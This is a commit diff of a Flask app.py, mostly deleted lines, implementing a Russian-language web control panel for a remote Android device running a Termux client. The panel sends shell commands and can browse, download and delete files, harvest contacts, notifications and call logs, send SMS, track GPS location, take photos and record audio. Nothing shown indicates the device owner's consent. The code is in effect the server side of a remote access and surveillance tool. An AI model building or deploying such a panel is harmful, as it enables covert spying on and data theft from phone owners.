Aleksmorshen commited on
Commit
668a794
·
verified ·
1 Parent(s): 25b6b5f

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +234 -954
app.py CHANGED
@@ -3,8 +3,7 @@ import os
3
  import datetime
4
  import uuid
5
  import werkzeug.utils
6
- import json
7
- import math
8
 
9
  app = Flask(__name__)
10
  app.config['UPLOAD_FOLDER'] = 'uploads_from_client'
@@ -14,1007 +13,288 @@ os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
14
  os.makedirs(app.config['FILES_TO_CLIENT_FOLDER'], exist_ok=True)
15
 
16
  pending_command = None
17
- command_output = "Ожидание команд..."
18
  last_client_heartbeat = None
19
- current_client_path = "~"
20
- file_to_send_to_client = None
21
  device_status_info = {}
22
  notifications_history = []
23
  contacts_list = []
24
 
25
-
26
  HTML_TEMPLATE = """
27
  <!DOCTYPE html>
28
- <html lang="ru">
29
  <head>
30
- <meta charset="UTF-8">
31
- <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
32
- <title>ПУ Android</title>
33
- <style>
34
- body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; margin: 0; padding: 0; background-color: #f0f2f5; color: #333; display: flex; flex-direction: column; min-height: 100vh; font-size: 16px; -webkit-text-size-adjust: 100%; }
35
- header { background-color: #333; color: white; padding: 10px 15px; display: flex; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.2); position: fixed; top: 0; left: 0; width: 100%; z-index: 1001;}
36
- .menu-toggle { font-size: 1.5em; background: none; border: none; color: white; cursor: pointer; margin-right: 15px; padding: 5px; }
37
- header h1 { font-size: 1.2em; margin: 0; flex-grow: 1; text-align: center; }
38
- .main-container { display: flex; flex-grow: 1; overflow: hidden; margin-top: 50px; }
39
- .sidebar { width: 250px; background-color: #3f3f3f; color: white; padding: 15px; box-sizing: border-box; display: flex; flex-direction: column; transform: translateX(-100%); transition: transform 0.3s ease-in-out; position: fixed; top: 0; left: 0; height: 100vh; z-index: 1000; overflow-y: auto; padding-top: 60px; }
40
- .sidebar.open { transform: translateX(0); box-shadow: 3px 0 6px rgba(0,0,0,0.2); }
41
- .sidebar h2 { margin-top: 0px; font-size: 1.1em; border-bottom: 1px solid #555; padding-bottom: 10px; }
42
- .sidebar ul { list-style: none; padding: 0; margin: 0; }
43
- .sidebar ul li a { color: #ddd; text-decoration: none; display: block; padding: 12px 10px; border-radius: 4px; margin-bottom: 5px; font-size:0.95em; }
44
- .sidebar ul li a:hover, .sidebar ul li a.active { background-color: #555; color: white; }
45
- .content-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.5); z-index: 999; }
46
- .content-overlay.active { display: block; }
47
- .content { flex-grow: 1; padding: 15px; box-sizing: border-box; overflow-y: auto; }
48
- .container { background-color: #fff; padding: 15px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1); margin-bottom:15px; }
49
- .control-section { margin-bottom: 15px; padding: 10px; border: 1px solid #e0e0e0; border-radius: 6px; background-color: #f9f9f9; }
50
- label { display: block; margin-bottom: 6px; font-weight: bold; color: #555; font-size: 0.9em; }
51
- input[type="text"], textarea, input[type="file"] { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ccc; border-radius: 4px; box-sizing: border-box; font-size: 1em; }
52
- button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 0.9em; margin-right: 5px; margin-bottom: 8px; display: inline-block; }
53
- button:hover { background-color: #0056b3; }
54
- pre { background-color: #282c34; color: #abb2bf; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 400px; overflow-y: auto; font-family: 'Courier New', Courier, monospace; font-size: 0.85em; }
55
- .status { padding: 10px; border-radius: 4px; margin-bottom:10px; font-weight: bold; font-size: 0.9em; }
56
- .status.online { background-color: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
57
- .status.offline { background-color: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
58
- .file-browser ul { list-style: none; padding: 0; }
59
- .file-browser li { padding: 8px 0; border-bottom: 1px solid #eee; display: flex; flex-wrap: wrap; justify-content: space-between; align-items: center; }
60
- .file-browser li .file-name-container { flex-grow: 1; margin-right: 10px; word-break: break-all; }
61
- .file-browser li .file-actions button { margin-left: 5px; padding: 4px 8px; font-size:0.8em; }
62
- .file-browser li:last-child { border-bottom: none; }
63
- .file-browser a { text-decoration: none; color: #007bff; }
64
- .file-browser a:hover { text-decoration: underline; }
65
- .file-icon { margin-right: 8px; }
66
- .file-browser .dir a { font-weight: bold; }
67
- .file-browser .download-btn, .server-file-list .preview-btn, .file-browser .zip-btn { background-color: #28a745; }
68
- .file-browser .download-btn:hover, .server-file-list .preview-btn:hover, .file-browser .zip-btn:hover { background-color: #218838; }
69
- .file-browser .delete-btn, .server-file-list .delete-btn { background-color: #dc3545; }
70
- .file-browser .delete-btn:hover, .server-file-list .delete-btn:hover { background-color: #c82333; }
71
- .hidden-section { display: none; }
72
- .status-item { margin-bottom: 8px; font-size: 0.9em;}
73
- .status-item strong { color: #333; }
74
- .notification-list, .contact-list { max-height: 350px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #fdfdfd;}
75
- .notification-item, .contact-item { border-bottom: 1px solid #eee; padding: 8px 0; margin-bottom: 8px; }
76
- .notification-item:last-child, .contact-item:last-child { border-bottom: none; }
77
- .notification-item strong, .contact-item strong { display: block; color: #555; }
78
- .notification-item span, .contact-item span { font-size: 0.9em; color: #777; display: block; }
79
- .contact-item .contact-number { font-weight: normal; }
80
- .server-file-list li { display: flex; justify-content: space-between; align-items: center; padding: 8px 5px; border-bottom: 1px solid #eee; }
81
- .server-file-list .file-info { flex-grow: 1; word-break: break-all; }
82
- .server-file-list .file-info a { font-weight: bold; }
83
- .server-file-list .file-meta { font-size: 0.8em; color: #666; display: block; }
84
- .server-file-list .file-actions button { font-size: 0.8em; padding: 5px 10px; }
85
-
86
- @media (min-width: 768px) {
87
- header { display: none; }
88
- .sidebar { transform: translateX(0); position: static; height: 100vh; box-shadow: none; padding-top: 15px; }
89
- .main-container { margin-top: 0; }
90
- .content-overlay { display: none !important; }
91
- }
92
- </style>
93
- <script>
94
- let currentView = 'dashboard';
95
-
96
- function toggleMenu() {
97
- document.querySelector('.sidebar').classList.toggle('open');
98
- document.querySelector('.content-overlay').classList.toggle('active');
99
- }
100
-
101
- function showSection(sectionId) {
102
- document.querySelectorAll('.content > div.container').forEach(div => div.style.display = 'none');
103
- document.getElementById(sectionId).style.display = 'block';
104
- document.querySelectorAll('.sidebar a').forEach(a => a.classList.remove('active'));
105
- const activeLink = document.querySelector(`.sidebar a[href="#${sectionId}"]`);
106
- if (activeLink) activeLink.classList.add('active');
107
- currentView = sectionId;
108
-
109
- if (window.innerWidth < 768 && document.querySelector('.sidebar').classList.contains('open')) {
110
- toggleMenu();
111
- }
112
-
113
- if (sectionId === 'files') refreshClientPathDisplay();
114
- if (sectionId === 'device_status') requestDeviceStatus();
115
- if (sectionId === 'notifications') requestNotifications();
116
- if (sectionId === 'contacts') requestContacts();
117
- if (sectionId === 'uploads') refreshServerUploads();
118
- refreshOutput();
119
- }
120
-
121
- function formatBytes(bytes, decimals = 2) {
122
- if (bytes === 0) return '0 Bytes';
123
- const k = 1024;
124
- const dm = decimals < 0 ? 0 : decimals;
125
- const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
126
- const i = Math.floor(Math.log(bytes) / Math.log(k));
127
- return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
128
- }
129
-
130
- async function refreshServerUploads() {
131
- try {
132
- const response = await fetch('/list_uploaded_files');
133
- const data = await response.json();
134
- const fileListUl = document.getElementById('serverUploadedFiles');
135
- fileListUl.innerHTML = '';
136
- if (data.files && data.files.length > 0) {
137
- data.files.forEach(file => {
138
- const li = document.createElement('li');
139
-
140
- const infoDiv = document.createElement('div');
141
- infoDiv.className = 'file-info';
142
-
143
- const link = document.createElement('a');
144
- link.href = '/uploads_from_client/' + encodeURIComponent(file.name);
145
- link.textContent = file.name;
146
- link.target = '_blank';
147
- infoDiv.appendChild(link);
148
-
149
- const metaSpan = document.createElement('span');
150
- metaSpan.className = 'file-meta';
151
- const date = new Date(file.mtime * 1000).toLocaleString();
152
- metaSpan.textContent = `${formatBytes(file.size)} - ${date}`;
153
- infoDiv.appendChild(metaSpan);
154
-
155
- li.appendChild(infoDiv);
156
-
157
- const actionsDiv = document.createElement('div');
158
- actionsDiv.className = 'file-actions';
159
-
160
- if (file.is_image) {
161
- const previewBtn = document.createElement('button');
162
- previewBtn.textContent = '👁️';
163
- previewBtn.title = 'Предпросмотр';
164
- previewBtn.className = 'preview-btn';
165
- previewBtn.onclick = () => window.open('/uploads_from_client/' + encodeURIComponent(file.name), '_blank');
166
- actionsDiv.appendChild(previewBtn);
167
- }
168
-
169
- const deleteBtn = document.createElement('button');
170
- deleteBtn.textContent = '❌';
171
- deleteBtn.title = 'Удалить';
172
- deleteBtn.className = 'delete-btn';
173
- deleteBtn.onclick = () => deleteUploadedFile(file.name);
174
- actionsDiv.appendChild(deleteBtn);
175
-
176
- li.appendChild(actionsDiv);
177
- fileListUl.appendChild(li);
178
- });
179
- } else {
180
- fileListUl.innerHTML = '<li>Нет загруженных файлов с клиента.</li>';
181
- }
182
- } catch(e) {
183
- document.getElementById('serverUploadedFiles').innerHTML = '<li>Ошибка загрузки списка файлов.</li>';
184
- }
185
- }
186
-
187
- async function deleteUploadedFile(filename) {
188
- if (!confirm(`Вы уверены, что хотите удалить файл "${filename}" с сервера?`)) return;
189
- try {
190
- const response = await fetch('/delete_uploaded_file/' + encodeURIComponent(filename), {
191
- method: 'POST'
192
- });
193
- const result = await response.json();
194
- if(result.status === 'success') {
195
- refreshServerUploads();
196
- } else {
197
- alert('Ошибка удаления файла: ' + result.message);
198
- }
199
- } catch(e) {
200
- alert('Сетевая ошибка при удалении файла.');
201
- }
202
- }
203
-
204
- async function refreshOutput() {
205
- try {
206
- const response = await fetch('/get_status_output');
207
- const data = await response.json();
208
-
209
- if (data.output && (currentView !== 'device_status' && currentView !== 'notifications' && currentView !== 'contacts')) {
210
- document.getElementById('outputArea').innerText = data.output;
211
- }
212
-
213
- if (data.last_heartbeat) {
214
- const statusDiv = document.getElementById('clientStatus');
215
- const lastBeat = new Date(data.last_heartbeat);
216
- const now = new Date();
217
- const diffSeconds = (now - lastBeat) / 1000;
218
- if (diffSeconds < 45) {
219
- statusDiv.className = 'status online';
220
- statusDiv.innerText = 'Клиент ОНЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
221
- } else {
222
- statusDiv.className = 'status offline';
223
- statusDiv.innerText = 'Клиент ОФФЛАЙН (Пинг: ' + lastBeat.toLocaleTimeString() + ')';
224
- }
225
- } else {
226
- document.getElementById('clientStatus').className = 'status offline';
227
- document.getElementById('clientStatus').innerText = 'Клиент ОФФЛАЙН';
228
- }
229
-
230
- if (data.current_path && currentView === 'files') {
231
- document.getElementById('currentPathDisplay').innerText = data.current_path;
232
- if (data.output && data.output.startsWith("Содержимое") ) {
233
- renderFileList(data.output, data.current_path);
234
- } else if (data.output && currentView === 'files') {
235
- document.getElementById('fileList').innerHTML = `<li>${data.output.replace(/\\n/g, '<br>')}</li>`;
236
- }
237
- }
238
-
239
- if (data.device_status && currentView === 'device_status') {
240
- updateDeviceStatusDisplay(data.device_status);
241
- }
242
- if (data.notifications && currentView === 'notifications') {
243
- renderNotifications(data.notifications);
244
- }
245
- if (data.contacts && currentView === 'contacts') {
246
- renderContacts(data.contacts);
247
- }
248
-
249
- } catch (error) {
250
- console.error("Error refreshing data:", error);
251
- if (currentView === 'dashboard' || currentView === 'shell' || currentView === 'media' || currentView === 'clipboard' || currentView === 'utils' || currentView === 'messaging' || currentView === 'system') {
252
- document.getElementById('outputArea').innerText = "Ошибка обновления данных с сервера.";
253
- }
254
- }
255
- }
256
-
257
- function updateDeviceStatusDisplay(status) {
258
- document.getElementById('batteryStatus').innerHTML = status.battery ? `<strong>Заряд:</strong> ${status.battery.percentage}% (${status.battery.status}, ${status.battery.health})` : '<strong>Заряд:</strong> Н/Д';
259
- document.getElementById('locationStatus').innerHTML = status.location ? `<strong>Локация:</strong> ${status.location.latitude}, ${status.location.longitude} (Точность: ${status.location.accuracy}м, Скорость: ${status.location.speed} м/с)` : '<strong>Локация:</strong> Н/Д (Запросите для обновления)';
260
- if (status.location && status.location.latitude && status.location.longitude) {
261
- document.getElementById('locationMapLink').innerHTML = `<a href="https://www.google.com/maps?q=${status.location.latitude},${status.location.longitude}" target="_blank">Показать на карте Google</a>`;
262
- } else {
263
- document.getElementById('locationMapLink').innerHTML = '';
264
- }
265
- document.getElementById('processesStatus').innerHTML = status.processes ? `<pre>${status.processes}</pre>` : '<strong>Процессы:</strong> Н/Д (Запросите для обновления)';
266
- }
267
-
268
- function renderFileList(lsOutput, currentPath) {
269
- const fileListUl = document.getElementById('fileList');
270
- fileListUl.innerHTML = '';
271
- const lines = lsOutput.split('\\n');
272
-
273
- let isRootOrHome = (currentPath === '/' || currentPath === '~' || currentPath === osPathToUserFriendly(currentPath, true));
274
- if (!isRootOrHome) {
275
- const parentLi = document.createElement('li');
276
- parentLi.className = 'dir';
277
- const parentA = document.createElement('a');
278
- parentA.href = '#';
279
- parentA.innerHTML = '<span class="file-icon">🔙</span> .. (Наверх)';
280
- parentA.onclick = (e) => { e.preventDefault(); navigateTo('..'); };
281
- parentLi.appendChild(parentA);
282
- fileListUl.appendChild(parentLi);
283
- }
284
-
285
- lines.forEach(line => {
286
- if (line.trim() === '' || line.startsWith("Содержимое")) return;
287
- const parts = line.match(/^(\\[[DF]\\])\\s*(.*)/);
288
- if (!parts) return;
289
-
290
- const type = parts[1];
291
- const name = parts[2].trim();
292
-
293
- const li = document.createElement('li');
294
- const nameContainer = document.createElement('div');
295
- nameContainer.className = 'file-name-container';
296
- const a = document.createElement('a');
297
- a.href = '#';
298
-
299
- const actionsContainer = document.createElement('div');
300
- actionsContainer.className = 'file-actions';
301
-
302
- if (type === '[D]') {
303
- li.className = 'dir';
304
- a.innerHTML = `<span class="file-icon">📁</span> ${name}`;
305
- a.onclick = (e) => { e.preventDefault(); navigateTo(name); };
306
- nameContainer.appendChild(a);
307
-
308
- const zipBtn = document.createElement('button');
309
- zipBtn.className = 'zip-btn';
310
- zipBtn.textContent = 'ZIP';
311
- zipBtn.title = 'Скачать как ZIP';
312
- zipBtn.onclick = (e) => { e.preventDefault(); requestZipDownload(name); };
313
- actionsContainer.appendChild(zipBtn);
314
-
315
- const deleteBtn = document.createElement('button');
316
- deleteBtn.className = 'delete-btn';
317
- deleteBtn.textContent = 'Удалить';
318
- deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
319
- actionsContainer.appendChild(deleteBtn);
320
-
321
- } else {
322
- li.className = 'file';
323
- a.innerHTML = `<span class="file-icon">📄</span> ${name}`;
324
- a.onclick = (e) => { e.preventDefault(); };
325
- nameContainer.appendChild(a);
326
-
327
- const downloadBtn = document.createElement('button');
328
- downloadBtn.className = 'download-btn';
329
- downloadBtn.textContent = 'Скачать';
330
- downloadBtn.onclick = (e) => { e.preventDefault(); requestDownloadFile(name); };
331
- actionsContainer.appendChild(downloadBtn);
332
-
333
- const deleteBtn = document.createElement('button');
334
- deleteBtn.className = 'delete-btn';
335
- deleteBtn.textContent = 'Удалить';
336
- deleteBtn.onclick = (e) => { e.preventDefault(); requestDeleteFile(name); };
337
- actionsContainer.appendChild(deleteBtn);
338
- }
339
-
340
- li.appendChild(nameContainer);
341
- li.appendChild(actionsContainer);
342
- fileListUl.appendChild(li);
343
- });
344
- }
345
-
346
- function renderNotifications(notifications) {
347
- const notificationListDiv = document.getElementById('notificationList');
348
- notificationListDiv.innerHTML = '';
349
- if (notifications && notifications.length > 0) {
350
- notifications.forEach(n => {
351
- const itemDiv = document.createElement('div');
352
- itemDiv.className = 'notification-item';
353
- itemDiv.innerHTML = `
354
- <strong>${n.title || 'Без заголовка'} (ID: ${n.id || 'N/A'})</strong>
355
- <span><strong>Приложение:</strong> ${n.packageName || 'N/A'}</span>
356
- <span><strong>Тег:</strong> ${n.tag || 'N/A'}, <strong>Ключ:</strong> ${n.key || 'N/A'}</span>
357
- <span><strong>Когда:</strong> ${n.when ? new Date(n.when).toLocaleString() : 'N/A'}</span>
358
- <p>${n.content || 'Нет содержимого'}</p>
359
- `;
360
- notificationListDiv.appendChild(itemDiv);
361
- });
362
- } else {
363
- notificationListDiv.innerHTML = '<p>Нет уведомлений для отображения или не удалось их получить.</p>';
364
- }
365
- }
366
-
367
- function renderContacts(contacts) {
368
- const contactListDiv = document.getElementById('contactList');
369
- contactListDiv.innerHTML = '';
370
- if (contacts && contacts.length > 0) {
371
- contacts.forEach(c => {
372
- const itemDiv = document.createElement('div');
373
- itemDiv.className = 'contact-item';
374
- let numbersHtml = '';
375
- if (c.numbers && c.numbers.length > 0) {
376
- c.numbers.forEach(num => {
377
- numbersHtml += `<span class="contact-number">${num}</span>`;
378
- });
379
- } else {
380
- numbersHtml = '<span>Нет номеров</span>';
381
- }
382
- itemDiv.innerHTML = `
383
- <strong>${c.name || 'Без имени'}</strong>
384
- ${numbersHtml}
385
- `;
386
- contactListDiv.appendChild(itemDiv);
387
- });
388
- } else {
389
- contactListDiv.innerHTML = '<p>Список контактов пуст или не удалось его получить.</p>';
390
- }
391
- }
392
-
393
- function osPathToUserFriendly(path, checkRoot = false) {
394
- if (path.startsWith('/data/data/com.termux/files/home')) {
395
- let relPath = path.substring('/data/data/com.termux/files/home'.length);
396
- if (relPath === '' || relPath === '/') return '~';
397
- return '~' + relPath;
398
- }
399
- if (checkRoot && path === '/') return '/';
400
- return path;
401
- }
402
-
403
- async function sendGenericCommand(payload) {
404
- try {
405
- document.getElementById('outputArea').innerText = "Отправка команды...";
406
- const response = await fetch('/send_command', {
407
- method: 'POST',
408
- headers: { 'Content-Type': 'application/json' },
409
- body: JSON.stringify(payload)
410
- });
411
- if (!response.ok) {
412
- console.error("Server error sending command");
413
- document.getElementById('outputArea').innerText = "Ошибка сервера при отправке команды.";
414
- }
415
- } catch (error) {
416
- console.error("Network error sending command:", error);
417
- document.getElementById('outputArea').innerText = "Сетевая ошибка при отправке команды.";
418
- }
419
- }
420
-
421
- function navigateTo(itemName) {
422
- sendGenericCommand({ command_type: 'list_files', path: itemName });
423
- if (currentView === 'files') {
424
- document.getElementById('fileList').innerHTML = '<li>Загрузка...</li>';
425
- }
426
- }
427
-
428
- function requestDownloadFile(filename) {
429
- sendGenericCommand({ command_type: 'request_download_file', filename: filename });
430
- showSection('dashboard');
431
- document.getElementById('outputArea').innerText = `Запрос на скачивание файла ${filename}... Ожидайте появления в разделе "Загрузки с клиента".`;
432
- }
433
-
434
- function requestZipDownload(dirname) {
435
- sendGenericCommand({ command_type: 'zip_and_upload_dir', path: dirname });
436
- showSection('dashboard');
437
- document.getElementById('outputArea').innerText = `Запрос на архивацию и скачивание директории ${dirname}... Это может занять время. Ожидайте появления ZIP-архива в разделе "Загрузки с клиента".`;
438
- }
439
-
440
- function requestDeleteFile(filename) {
441
- if (confirm(`Вы уверены, что хотите удалить "${filename}" с устройства клиента? Это действие необратимо.`)) {
442
- sendGenericCommand({ command_type: 'delete_file', filename: filename });
443
- }
444
- }
445
-
446
- function refreshClientPathDisplay(){
447
- if (document.getElementById('currentPathDisplay')) {
448
- fetch('/get_status_output').then(r=>r.json()).then(data => {
449
- if(data.current_path) document.getElementById('currentPathDisplay').innerText = data.current_path;
450
- });
451
- }
452
- }
453
-
454
- window.onload = () => {
455
- showSection('dashboard');
456
- setInterval(refreshOutput, 4000);
457
- refreshOutput();
458
- document.querySelector('.menu-toggle').addEventListener('click', toggleMenu);
459
- document.querySelector('.content-overlay').addEventListener('click', toggleMenu);
460
- };
461
-
462
- function submitShellCommand(event) {
463
- event.preventDefault();
464
- const command = document.getElementById('command_str').value;
465
- sendGenericCommand({ command_type: 'shell', command: command });
466
- document.getElementById('command_str').value = '';
467
- }
468
-
469
- function submitMediaCommand(type, paramName, paramValueId) {
470
- let payload = { command_type: type };
471
- if (paramName && paramValueId) {
472
- const value = document.getElementById(paramValueId).value;
473
- if (value) payload[paramName] = value;
474
- }
475
- sendGenericCommand(payload);
476
- }
477
-
478
- async function handleUploadToServer(event) {
479
- event.preventDefault();
480
- const fileInput = document.getElementById('fileToUploadToDevice');
481
- const targetPathInput = document.getElementById('targetDevicePath');
482
-
483
- if (!fileInput.files[0]) {
484
- alert("Пожалуйста, выберите файл для загрузки.");
485
- return;
486
- }
487
- if (!targetPathInput.value) {
488
- alert("Пожалуйста, укажите путь на устройстве.");
489
- return;
490
- }
491
-
492
- const formData = new FormData();
493
- formData.append('file_to_device', fileInput.files[0]);
494
- formData.append('target_path_on_device', targetPathInput.value);
495
-
496
- document.getElementById('uploadToDeviceStatus').innerText = 'Загрузка файла на сервер...';
497
-
498
- try {
499
- const response = await fetch('/upload_to_server_for_client', {
500
- method: 'POST',
501
- body: formData
502
- });
503
- const result = await response.json();
504
- if (result.status === 'success') {
505
- document.getElementById('uploadToDeviceStatus').innerText = 'Файл загружен на сервер, ожидание отправки клиенту. Имя файла на сервере: ' + result.server_filename;
506
- sendGenericCommand({
507
- command_type: 'receive_file',
508
- server_filename: result.server_filename,
509
- target_path_on_device: result.target_path_on_device
510
- });
511
- } else {
512
- document.getElementById('uploadToDeviceStatus').innerText = 'Ошибка: ' + result.message;
513
- }
514
- } catch (error) {
515
- document.getElementById('uploadToDeviceStatus').innerText = 'Сетевая ошибка при загрузке файла на сервер: ' + error;
516
- }
517
- }
518
-
519
- function getClipboard() { sendGenericCommand({ command_type: 'clipboard_get' }); }
520
- function setClipboard() {
521
- const text = document.getElementById('clipboardSetText').value;
522
- sendGenericCommand({ command_type: 'clipboard_set', text: text });
523
- }
524
- function openUrlOnDevice() {
525
- const url = document.getElementById('urlToOpen').value;
526
- if (url) { sendGenericCommand({ command_type: 'open_url', url: url }); }
527
- else { alert("Пожалуйста, введите URL."); }
528
- }
529
- function requestDeviceStatus(item = null) {
530
- let payload = { command_type: 'get_device_status' };
531
- if (item) { payload.item = item; }
532
- sendGenericCommand(payload);
533
- }
534
- function requestNotifications() { sendGenericCommand({ command_type: 'get_notifications' }); }
535
- function requestContacts() { sendGenericCommand({ command_type: 'get_contacts' }); }
536
- function getCallLog() { sendGenericCommand({ command_type: 'get_call_log' }); }
537
- function sendSms() {
538
- const number = document.getElementById('smsNumber').value;
539
- const text = document.getElementById('smsText').value;
540
- if (number && text) {
541
- sendGenericCommand({ command_type: 'send_sms', number: number, text: text });
542
- } else { alert("Введите номер и текст SMS."); }
543
- }
544
- function speakText() {
545
- const text = document.getElementById('ttsText').value;
546
- if (text) { sendGenericCommand({ command_type: 'tts_speak', text: text }); }
547
- else { alert("Введите текст для озвучивания."); }
548
- }
549
- function vibrateDevice() {
550
- const duration = document.getElementById('vibrateDuration').value;
551
- sendGenericCommand({ command_type: 'vibrate', duration: duration });
552
- }
553
- function toggleTorch(state) {
554
- sendGenericCommand({ command_type: 'torch', state: state });
555
- }
556
- function getDeviceInfo() { sendGenericCommand({ command_type: 'get_device_info' }); }
557
- function getWifiInfo() { sendGenericCommand({ command_type: 'get_wifi_info' }); }
558
-
559
- </script>
560
  </head>
561
  <body>
562
- <header>
563
- <button class="menu-toggle" aria-label="Toggle menu"></button>
564
- <h1>ПУ Android</h1>
565
- </header>
566
- <div class="main-container">
567
- <div class="sidebar">
568
- <h2>Меню</h2>
569
- <ul>
570
- <li><a href="#dashboard" onclick="showSection('dashboard')" class="active">Панель</a></li>
571
- <li><a href="#device_status" onclick="showSection('device_status')">Статус устройства</a></li>
572
- <li><a href="#notifications" onclick="showSection('notifications')">Уведомления</a></li>
573
- <li><a href="#contacts" onclick="showSection('contacts')">Контакты</a></li>
574
- <li><a href="#messaging" onclick="showSection('messaging')">Сообщения/Звонки</a></li>
575
- <li><a href="#files" onclick="showSection('files')">Файлы</a></li>
576
- <li><a href="#shell" onclick="showSection('shell')">Терминал</a></li>
577
- <li><a href="#media" onclick="showSection('media')">Медиа</a></li>
578
- <li><a href="#clipboard" onclick="showSection('clipboard')">Буфер обмена</a></li>
579
- <li><a href="#utils" onclick="showSection('utils')">Утилиты</a></li>
580
- <li><a href="#system" onclick="showSection('system')">Система</a></li>
581
- <li><a href="#uploads" onclick="showSection('uploads')">Загрузки с клиента</a></li>
582
- </ul>
583
- </div>
584
- <div class="content-overlay"></div>
585
- <div class="content">
586
- <div id="clientStatus" class="status offline">Статус клиента неизвестен</div>
587
-
588
- <div id="dashboard" class="container">
589
- <h2>Общая информация</h2>
590
- <p>Добро пожаловать в панель управления. Выберите действие из меню слева.</p>
591
- <div class="control-section">
592
- <h3>Вывод последней операции:</h3>
593
- <pre id="outputArea">Ожидание вывода...</pre>
594
- </div>
595
- </div>
596
-
597
- <div id="device_status" class="container hidden-section">
598
- <h2>Статус устройства</h2>
599
- <button onclick="requestDeviceStatus()">Обновить все</button>
600
- <div class="control-section">
601
- <h3>Батарея</h3>
602
- <div id="batteryStatus" class="status-item"><strong>Заряд:</strong> Н/Д</div>
603
- <button onclick="requestDeviceStatus('battery')">Обновить батарею</button>
604
- </div>
605
- <div class="control-section">
606
- <h3>Геолокация</h3>
607
- <div id="locationStatus" class="status-item"><strong>Локация:</strong> Н/Д</div>
608
- <div id="locationMapLink" class="status-item"></div>
609
- <button onclick="requestDeviceStatus('location')">Обновить геолокацию</button>
610
- </div>
611
- <div class="control-section">
612
- <h3>Запущенные процессы (пользователя Termux)</h3>
613
- <div id="processesStatus" class="status-item"><strong>Процессы:</strong> Н/Д</div>
614
- <button onclick="requestDeviceStatus('processes')">Обновить процессы</button>
615
- </div>
616
- </div>
617
-
618
- <div id="notifications" class="container hidden-section">
619
- <h2>Уведомления устройства</h2>
620
- <button onclick="requestNotifications()">Обновить уведомления</button>
621
- <div class="control-section">
622
- <h3>Список уведомлений:</h3>
623
- <div id="notificationList" class="notification-list"><p>Запросите список уведомлений.</p></div>
624
- </div>
625
- </div>
626
-
627
- <div id="contacts" class="container hidden-section">
628
- <h2>Контакты</h2>
629
- <button onclick="requestContacts()">Запросить список контактов</button>
630
- <div class="control-section">
631
- <h3>Список контактов:</h3>
632
- <div id="contactList" class="contact-list"><p>Запросите список контактов.</p></div>
633
- </div>
634
- </div>
635
-
636
- <div id="messaging" class="container hidden-section">
637
- <h2>Сообщения и звонки</h2>
638
- <div class="control-section">
639
- <h3>Отправить SMS</h3>
640
- <label for="smsNumber">Номер телефона:</label>
641
- <input type="text" id="smsNumber" placeholder="+79001234567">
642
- <label for="smsText">Текст сообщения:</label>
643
- <textarea id="smsText" rows="3"></textarea>
644
- <button onclick="sendSms()">Отправить SMS</button>
645
- </div>
646
- <div class="control-section">
647
- <h3>Журнал звонков</h3>
648
- <button onclick="getCallLog()">Получить журнал звонков</button>
649
- </div>
650
- <div class="control-section" style="margin-top:20px;">
651
- <h3>Результат операции:</h3>
652
- <pre id="outputAreaMessagingCopy"></pre>
653
- </div>
654
- </div>
655
-
656
- <div id="files" class="container hidden-section">
657
- <h2>Файловый менеджер (Клиент)</h2>
658
- <p>Текущий путь на клиенте: <strong id="currentPathDisplay">~</strong></p>
659
- <button onclick="navigateTo('~')">Дом (~)</button>
660
- <button onclick="navigateTo('/sdcard/')">Память</button>
661
- <input type="text" id="customPathInput" placeholder="/sdcard/Download" style="width:auto; display:inline-block; margin-left:0px; margin-right:5px; max-width: 150px;">
662
- <button onclick="navigateTo(document.getElementById('customPathInput').value)">Перейти</button>
663
- <div class="file-browser control-section">
664
- <h3>Содержимое директории:</h3>
665
- <ul id="fileList"><li>Запросите содержимое директории.</li></ul>
666
- </div>
667
- <div class="control-section">
668
- <h3>Загрузить файл НА устройство</h3>
669
- <form id="uploadForm" onsubmit="handleUploadToServer(event)">
670
- <label for="fileToUploadToDevice">Выберите файл:</label>
671
- <input type="file" id="fileToUploadToDevice" name="file_to_device" required>
672
- <label for="targetDevicePath">Путь для сохранения на устройстве (например, `/sdcard/Download/` или `~/`):</label>
673
- <input type="text" id="targetDevicePath" name="target_path_on_device" value="/sdcard/Download/" required>
674
- <button type="submit">Загрузить</button>
675
- </form>
676
- <p id="uploadToDeviceStatus"></p>
677
- </div>
678
- </div>
679
-
680
- <div id="shell" class="container hidden-section">
681
- <h2>Выполнить команду на устройстве</h2>
682
- <form onsubmit="submitShellCommand(event)">
683
- <label for="command_str">Команда (например, `ls -l /sdcard/Download` или `pwd`):</label>
684
- <input type="text" id="command_str" name="command_str" required>
685
- <button type="submit">Отправить</button>
686
- </form>
687
- <div class="control-section" style="margin-top:20px;">
688
- <h3>Вывод команды:</h3>
689
- <pre id="outputAreaShellCopy"></pre>
690
- </div>
691
- </div>
692
-
693
- <div id="media" class="container hidden-section">
694
- <h2>Мультимедиа</h2>
695
- <div class="control-section">
696
- <button onclick="submitMediaCommand('take_photo', 'camera_id', 'camera_id_input')">Сделать фото</button>
697
- <label for="camera_id_input" style="display:inline-block; margin-left:10px;">ID камеры:</label>
698
- <input type="text" id="camera_id_input" value="0" style="width:50px; display:inline-block;">
699
- </div>
700
- <div class="control-section">
701
- <button onclick="submitMediaCommand('record_audio', 'duration', 'audio_duration_input')">Записать аудио</button>
702
- <label for="audio_duration_input" style="display:inline-block; margin-left:10px;">Длительность (сек):</label>
703
- <input type="text" id="audio_duration_input" value="5" style="width:50px; display:inline-block;">
704
- </div>
705
- <div class="control-section">
706
